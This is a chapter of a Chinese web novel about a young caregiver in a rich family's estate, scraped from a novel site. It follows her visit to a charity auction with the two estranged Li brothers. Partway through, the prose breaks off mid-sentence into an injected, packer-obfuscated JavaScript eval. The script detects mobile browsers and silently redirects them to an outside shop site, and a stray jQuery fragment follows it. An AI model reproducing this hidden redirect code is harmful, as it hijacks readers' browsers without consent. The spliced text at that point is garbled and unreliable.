文趣网 > 都市小说 > 和雇主儿子的秘密关系 > 7. 第 7 章
    安然无恙在庄园里度过了几天,就连厉宗衡都没有再挑事,元雁初总算能够喘一口气。

    白天,她刚哄完那暴戾的二少爷吃完早饭,又被赶走了。

    黄芳芳见她没事做,就让她去花园摘点新鲜的花,说是厉宗衡心情不好的时候看到鲜花能给点好脸色。

    问起他喜欢什么花,黄芳芳也不清楚,厉宗衡车祸之后性情大变有点拿不准他目前的爱好。

    “你觉得哪些看了让人心情好,就摘一点送给二少爷。”

    元雁初独身来到后花园。

    庄园有一个专门种植鲜花的区域,那也有专门的佣人看管。

    进去还需要得到允许才可以。

    佣人知道她是来给厉宗衡采花的,这才放人进去了,提醒道:“右边那边的花圃是大少爷的,你如果是摘花送给二少爷,就别碰大少爷养的花。”

    元雁初:“这也要分的那么清楚吗?”

    佣人说道:“这是当然,庄园是两位少爷的,当然要划分领域。就比如你,你是二少爷的人,那肯定也只能听二少爷的话。”

    元雁初:“不是啊,我是过来照顾两个少爷的,没有规定专门属于谁。”

    那佣人愣住,因为她第一次见到元雁初,还以为她是属于厉宗衡的人,“不会吧?”

    “什么不会。”元雁初无奈笑笑:“我先进去采花了。”

    那佣人望向元雁初的背影,开始自言自语,她来到厉氏庄园工作这么久,一直知道厉宗衡和厉宗谦无论什么东西都要一分为二,两人从没有同时拥有一样东西。

    进入花园,元雁初叹为观止。

    这里的确跟那人和自己说的一样,偌大的花园都要一分为二,左边右边分别有不同的人在照料。

    她想到厉宗谦的花养在右边,就朝左边走去。

    厉宗衡一天天跟超雄一样找自己的麻烦,要是看到鲜花能缓和他那暴躁脾气,对她也挺好的。

    忍着对花粉的微微不适,元雁初抱着给自己找舒缓日子的想法开始采摘鲜花。

    这时,听到花园里有两个佣人在阴凉处躲着谈闲话。

    “我看咱这两位少爷已经被厉先生放弃了,丢到这里让他们自生自灭。”

    “为什么这么说?”

    “你自己想想,车祸到现在三个月了,厉先生有来庄园看过一次两位少爷吗?”

    “好像真是……”

    其中一个人说道:“对自己的亲儿子不闻不问也就算了,还找了一个瘦弱的年轻姑娘来照顾两个少爷,厉先生但凡真的对儿子上心,就不可能会找那个小姑娘。”

    “你说的是啊,真正对孩子好就应该展开治疗,丢到庄园里不管这跟弃养有什么区别。”

    “而且我听说,下周一是厉太太的忌日,而厉先生现在还在国外谈生意,厉太太忌日的那一天,他还要去参加一个慈善拍卖宴会。”

    “慈善拍卖都比厉太太的忌日还要重要,如果我是厉太太,我死了都不会瞑目。”

    “厉先生对死去的厉太太一点感情都没有,厉太太留下的两个孩子,厉先生也当然不会放在心上。”

    元雁初边采花边打喷嚏,边听八卦。

    意思是现在的厉宗谦和厉宗衡已经是厉家的弃子了?

    这似乎是庄园内大家心知肚明的秘密。

    可事实真是这样吗?如果厉先生完全不关心自己的儿子,又为什么想尽办法都要治疗他们。

    但车祸三个月为止都没来关心过孩子,也是不争的事实。

    元雁初咋舌,她认为厉深肯定是在意孩子的,至于豪门内部的事,外人又怎么会清楚。

    -

    周一。

    厉太太忌日那天,早上起整个庄园就气氛冷沉,每个佣人都不敢面露喜色。

    看得出来,厉太太的忌日对庄园上下都是极其重要的日子。

    “小初,你过来。”李管家照例巡视过庄园后,返回客厅,喊元雁初上前。

    李管家面色凝重说:“二少爷早上又偷偷甩开所有人跑了出去。”

    元雁初心想,又来了。

    “那您知道他去了哪儿吗?”

    李管家:“不出意外应该是景宏拍卖会场。”

    “今天在那里有一场慈善拍卖晚宴。”

    是厉深今天要去的那一场?

    李管家并没有透露太多,说道:“只能麻烦你去把二少爷带回来了。”

    他担心要是在拍卖会,让那父子俩见面,按照厉宗衡现在的脾气,可能会引起什么纷争。

    “还是上次那样,我派几个保镖跟你一起去。”

    元雁初点点头,带着重任再度从庄园出发。

    途中元雁初接到妈妈的电话,“初初,今天是你生日,你要记得吃点好的啊,妈妈不在你身边,就没办法给你煲汤喝了。”

    “放心吧妈妈,我不会亏待我自己哒。”

    黄月琴听她在撒娇,失笑道:“你那工作还稳定吗?有没有遇到什么麻烦?”

    “还算稳定。”

    麻烦嘛……只要厉宗衡不找她麻烦就还好,不过每次被他折磨后,晚上又可以被天使大少爷温柔安慰,心里也舒服了点。

    她压低声音说:“妈妈,我一定会努力挣钱,给您和外公外婆过上更好的生活。”

    黄月琴声音沙哑:“傻丫头,你顾着自己就好。别忘了生日可是一年一次,要对自己好点。”

    “ok哒。”

    今天是元雁初的二十三岁生日,但她对生日一向没什么仪式感,如果不是妈妈打电话过来,她早就不知道忘到哪里去了。

    心里惦记着妈妈的话,想着晚点把厉宗衡哄回去后,悄悄给自己准备一个小蛋糕好了。

    “元小姐,到了。”司机说道。

    拍卖会场四周从豪车里走出来的人,几乎都是她平时在新闻上能看到的权贵名流。

    有保镖跟在身后,加上有厉家的身份在,进入这个会场也算畅通无阻。

    侍者带元雁初走的另一条通道,看这架势,她走的可能就是那些权贵名流身边助理走的路。

    会场大堂在三十二层,抵达楼层,刚从电梯出来,迎面撞上一个年轻的男人。

    “初初!”男人面露喜色,从后面挤进来,激动地按住元雁初的双肩:“真的是你吗初初?”

    元雁初慢半拍:“小白?”

    白牧泽双眸泛红,握住她肩膀的手都在隐隐发颤:“初初,你还认得我,真好。”

    “当然认得啦。”元雁初笑了笑:“做了这么多年的邻居,我怎么会不记得你,但你怎么在这?”

    这个高级会场一般人进不来才是。

    她认真看了眼面前的人。

    白牧泽一身大牌,浑身洋溢着有钱人的味道。

    元雁初:“……”

    原来小丑是她自己。

    她记得初三那年,白牧泽搬家的原因是他跟着他妈妈改嫁去了京市的富人区,从那之后,元雁初大概就知道,她这个发小以后跟自己不是一个世界的人了。

    白牧泽还深陷在喜悦里,大笑道:“初初你怎么会在这儿啊,不过现在不是闲聊的时候,我家里打电话让我尽快回去处理点儿事情,你先把你联系方式给我,我以后再单独联系你出来见面。”

    两人交换联系方式,白牧泽就被一通电话急忙喊走。

    等电梯关闭,元雁初回头,就看到转角处坐在轮椅上的厉宗衡和推着轮椅的厉宗谦。

    兄弟二人站在那,不知道看了多久。

    厉宗衡的脸色很差,阴沉得仿佛乌云密布,而厉宗谦仍旧笑意盈盈的。

    “雁初。”厉宗谦轻轻喊了声:“你过来找阿衡?”

    元雁初小跑过去,“是李管家让我来的,他担心二少爷出事。”

    厉宗衡翻了个白眼:“滚回去,别在我面前碍眼,这不是你该来的地方。”

    元雁初欲言又止,看了一眼厉宗谦。

    厉宗谦道:“你跟我们过来,晚点一起回去。”

    “好!”

    还好有天使在。

    ……

    元雁初留下来的事让厉宗衡很不满,开始闹脾气,不肯让厉宗谦给他推轮椅,自己滑着轮椅在前面赌气。

    “……”她一时不知道该说什么好。

    厉宗衡还有良心吗,让一个瞎子给他推轮椅。

    “雁初。”身边传来男人温柔的声音:“刚才那个男人是你的朋友?”

    元雁初:“他是我发小,但初三那年就分开了。”

    “他的声音有点熟悉,”厉宗谦说:“我以前可能跟他打过交道。”

    元雁初心想,她发小既然能进入这个会场,那么他后爹家肯定地位不低,厉家会认识也不奇怪。

    “刚才听你的声音似乎挺开心。”厉宗谦淡笑:“能跟很久没见的朋友重逢,应该很惊喜吧。”

    “嗯呢。他以前是我很好的朋友,还以为以后再也不会见面了。”

    厉宗谦神色微顿,低声道:“你发小的家庭可能会干涉他交友,为了你朋友好,你以后跟他来往最好注意些。”

    元雁初愣住,她的确没想那么多。

    白牧泽是跟着他妈妈嫁进了豪门,那么肯定是寄人篱下没有什么地位,凡事都要看继父那边的眼色,或许还会盯着他的一举一动。

    要是她的什么行为影响到白牧泽可不好。

    元雁初严肃道:“谢谢你提醒我这些。”

    厉宗谦声音很轻:“没事,不过你也不必那么避嫌,以后他要是私下联系你,你可以先来跟我说一声,让我帮你出出主意。”

    “好呀。”怎么能这么天使!

    两人在后面落

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881322|212470||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    后很远一直小声说话,厉宗衡回头都要看不到人了。

    那个瞎子在搞什么,为什么要跟小饭团说这么久的话,他平时是这样多管闲事的人吗?

    等两人走近,厉宗衡皱眉盯着他哥。

    厉宗谦双目失明,当然不知道厉宗衡此时不善的眼神。

    “怎么不进去?”他问。

    厉宗衡没好气道:“还不是等你。”

    完了又补一句:“元雁初,你是过来照顾我们兄弟俩的,不是让你过来玩,你成天嘻嘻哈哈的干什么?”

    元雁初:“……”

    想要找你麻烦的人,就是你表现得到再完美他都挑的出错。

    “我没有嘻嘻哈哈。”

    “你还顶嘴?”

    元雁初低着头,不吭声了。

    厉宗衡这才心里好受点,喊侍应生过来推自己进入会场。

    元雁初重重叹了叹气,心好累。

    厉宗谦注意到她情绪不对,在她身侧低声说:“进去吧,我看不见,就劳烦你牵我进去找位置了。”

    “好。”

    还是跟天使待在一起舒服。

    -

    拍卖会场金碧辉煌,整个大堂内布了十几张圆桌,而四周还有小型的包间。

    侍应生带厉宗谦兄弟俩去了彰显地位最高的包间,逐渐,人也越来越多,底下那些圆桌也几乎被坐满了。

    每个人都身着华贵,社交也游刃有余,来到这里是代表钱权的象征。

    什么慈善拍卖会,大概就是这些有钱人玩闹的噱头罢了。

    元雁初坐在边上托着腮见大世面,嘀咕道。

    等正式拍卖的时间即将到来,楼下最中间的那个位置还空着。

    那是厉先生的位置吗?

    她扭头看向厉宗衡和厉宗谦。

    厉宗衡脸色不善,阴沉沉眼神一直死死盯着楼下,而厉宗谦则手掌心轻轻撑着他拐杖的顶端,神态悠闲自得,仿佛这儿对他来说并不是名利场,而是游园似的。

    这兄弟俩今天过来,是冲着厉深吗?

    今天可是厉太太的忌日,这父子三人竟然都不去祭拜。

    没一会,楼下响起喧哗,是厉深来了。

    厉深众星捧月坐在最中间彰显他地位的位置,有人弓腰上前跟他说了几句话,他轻微抬手,紧接,整个拍卖仪式才正式开始。

    这就是厉家的影响力。

    厉家人没有到齐,拍卖仪式还不能开始。

    仪式刚开始,厉宗衡就疯狂抢拍,不过二十分钟,他已经拍下了五件价格昂贵的物品。

    “哼,我要花光那老东西的钱!”看他还怎么找新老婆,生新的狗儿子。

    “哥,你想要什么,我给你拍。”

    厉宗谦摇头:“我没什么想要的。”

    他“看”向趴在沙发上目瞪口呆的元雁初:“雁初,你有什么想要的东西吗?”

    元雁初立刻坐直,注意到厉宗衡正瞪着她,她寻思着,要是她敢说想要什么,厉宗衡该不会把她从楼上丢出去,要骂她异想天开吧?

    “没什么想要的。”

    厉宗衡皱眉:“想要什么直说就是,反正花的也是厉深的钱。”

    元雁初心想,你俩是厉先生的狗儿子,她又不是,要是真要了什么,就那黑心的资本家还不得让她连本带利还回来啊?

    “真不用了。”

    她的两次拒绝让厉宗衡更加不满,“你怎么这么没出息,前几天挡在我面前的勇气去哪儿了?”

    元雁初:“……”这超雄还真是一点都不可爱!

    厉宗衡态度凶狠到给她一种,要是她再敢拒绝第三次,她就会原地被他拍死的感觉。

    正好台下正在拍卖一个顶流男明星戴过的高定珠宝,元雁初立刻指着那说:“就这套珠宝吧。”

    她闺蜜喜欢那个男明星。

    厉宗衡眼神扫过去,听介绍得知是一个男明星戴过的珠宝,瞬间眼里划过嫌弃。

    这套珠宝出来,台下也没有一个人抢拍。

    能进这个会场的都是上流社会的贵族,谁又看得起明星戴过的珠宝?谁去拍就是掉价。

    厉宗衡愤怒输出:“你什么眼光!竟然喜欢那种绣花枕头。”

    元雁初干巴巴道:“他还挺帅的。”

    厉宗衡睁大眼睛,不满地指着他自己跟在一边没吭声的厉宗谦:“还能有我跟我哥帅?”

    “整天看着我俩,你竟然还能对一个男明星的脸花痴?”

    元雁初彻底无语了。

    “那我不要了。”

    这总行了吧。

    要也不是,不要也不是。

    反正厉宗衡就是看她不爽。

    沉默良久的厉宗谦轻轻摩挲着指腹,意味深长说:“雁初,拍下可以,但你要保证,他在你心里不能比我跟阿衡重要。”